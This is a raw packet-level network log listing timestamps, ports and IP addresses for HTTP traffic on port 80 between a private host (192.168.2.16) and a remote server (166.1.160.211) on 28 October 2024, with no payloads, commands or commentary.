Oct 28, 2024 19:46:22.314855099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314876080 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.315052986 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315080881 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315108061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315116882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.315135956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315150976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.315162897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315188885 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315207958 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.315215111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315241098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315262079 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.315268993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315325022 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.315459967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315485954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315512896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315532923 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.315538883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315584898 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.315732002 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315758944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315784931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315808058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.315812111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315840006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315855980 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.315880060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315906048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315922976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.315944910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315972090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.315989971 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.316004992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316030979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316049099 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.316056967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316083908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316112041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316117048 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.316157103 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.316168070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316324949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316349983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316374063 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.316375971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316401958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316423893 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.316428900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316456079 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316477060 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.316482067 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316507101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316529036 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.316534042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316582918 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.316631079 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316668987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316700935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316715002 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.316729069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.316776037 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.521387100 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.527131081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527194023 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527230024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527249098 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.527286053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527335882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.527348995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527384043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527421951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527436018 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.527515888 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527565956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527569056 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.527601957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527636051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527653933 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.527690887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527724028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527736902 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.527760029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527793884 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527808905 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.527827978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527861118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527864933 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.527895927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527937889 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.527946949 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.528084040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528116941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528130054 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.528151989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528184891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528201103 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.528218985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528253078 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528271914 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.528301001 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528333902 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528347969 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.528373003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528428078 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.528487921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528521061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528554916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528564930 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.528589010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528623104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528630972 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.528656960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528691053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528707981 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.528724909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528773069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528784990 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.528808117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.528851032 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.528975010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529007912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529041052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529048920 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.529074907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529109001 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529113054 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.529141903 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529175043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529185057 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.529210091 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529242992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529254913 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.529279947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529314995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529326916 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.529454947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529489040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529506922 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.529524088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529556990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529575109 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.529592037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529624939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529639959 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.529659033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529692888 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529710054 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.529727936 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529776096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.529836893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529870033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529905081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529916048 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.529938936 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529973984 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.529989004 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.530008078 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.530042887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.530056953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.530076027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.530109882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.530121088 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.530143976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.530178070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.530200005 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.583131075 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.621541977 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.627419949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.627479076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.627515078 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.627540112 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.627548933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.627584934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.627608061 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.627619982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.627654076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.627669096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.627686977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.627738953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.627741098 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.627773046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.627805948 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.627827883 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.627840996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.627873898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.627887964 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.627908945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.627943039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.627960920 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.627979994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628022909 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.628096104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628129005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628173113 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628201008 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.628274918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628309965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628326893 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.628350973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628386974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628400087 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.628438950 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628470898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628484011 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.628504992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628536940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628549099 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.628571033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628604889 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628618956 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.628638983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628674030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628690958 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.628849983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628882885 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628902912 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.628916025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628948927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.628963947 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.628983021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.629017115 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.629034042 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.629050016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.629082918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.629113913 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.629117012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.629148960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.629162073 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.629184008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.629230022 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.629249096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.629313946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.629347086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.629359961 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.630395889 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630429983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630448103 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.630481958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630516052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630532980 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.630548954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630582094 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630585909 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.630614996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630666018 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.630667925 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630717993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630753040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630768061 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.630785942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630824089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630840063 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.630858898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630892038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630913019 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.630932093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630965948 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.630976915 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.631000042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631031990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631055117 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.631067038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631100893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631134033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631161928 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.631166935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631200075 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631211042 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.631233931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631244898 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.631268978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631302118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631319046 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.631366968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631401062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631422043 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.631434917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631467104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631481886 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.631504059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631536961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631551027 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.631571054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631606102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631608009 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.631686926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631721020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631733894 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.631755114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631787062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631798983 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.631822109 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631855011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631875038 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.631889105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631922960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.631942034 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.631973982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632008076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632019997 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.632041931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632076025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632087946 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.632126093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632158995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632169962 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.632194996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632229090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632246971 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.632265091 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632297993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632309914 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.632332087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632365942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632383108 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.632400036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632433891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632450104 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.632467031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632502079 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632514954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.632535934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632582903 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.632586956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632621050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632652998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632675886 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.632685900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632720947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632735968 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.632754087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632787943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632798910 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.632822037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632857084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632863998 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.632920980 CET	80	49726	166.1.160.211	192.168.2.16
